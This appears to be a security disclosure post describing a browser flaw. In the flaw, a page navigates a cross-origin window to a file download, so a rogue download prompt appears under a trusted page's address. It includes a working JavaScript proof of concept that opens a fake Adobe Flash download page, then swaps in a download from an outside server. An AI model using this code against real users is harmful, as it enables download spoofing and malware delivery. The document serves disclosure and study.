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1.4 KiB
Text
46 lines
No EOL
1.4 KiB
Text
Another moderately interesting tidbit, I guess...
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It is an important and little-known property of web browsers that one
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document can always navigate other, non-same-origin windows to
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arbitrary URLs. Perhaps more interestingly, you can also navigate
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third-party documents to resources served with Content-Disposition:
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attachment, in which case, you get the original contents of the
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address bar, plus a rogue download prompt attached to an unsuspecting
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page that never wanted you to download that file.
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PoC:
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http://lcamtuf.coredump.cx/fldl/
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==========
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<input type=submit onclick="doit()" value="Click me. I like to be clicked.">
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<script>
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var w;
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var once;
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function doit() {
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if (navigator.userAgent.indexOf('MSIE') != -1)
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w = window.open('page2.html', 'foo');
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else
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w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo');
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setTimeout(donext, 4500);
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}
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function donext() {
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window.open('http://199.58.85.40/download2.cgi', 'foo');
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if (once != true) setTimeout(donext, 5000);
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once = true;
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}
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</script>
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==========
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More info:
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http://lcamtuf.blogspot.com/2012/05/yes-you-can-have-fun-with-downloads.html
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It's closely related to many other fundamental, open issues with
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browser UI design - but I guess it's an interesting highlight.
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/mz |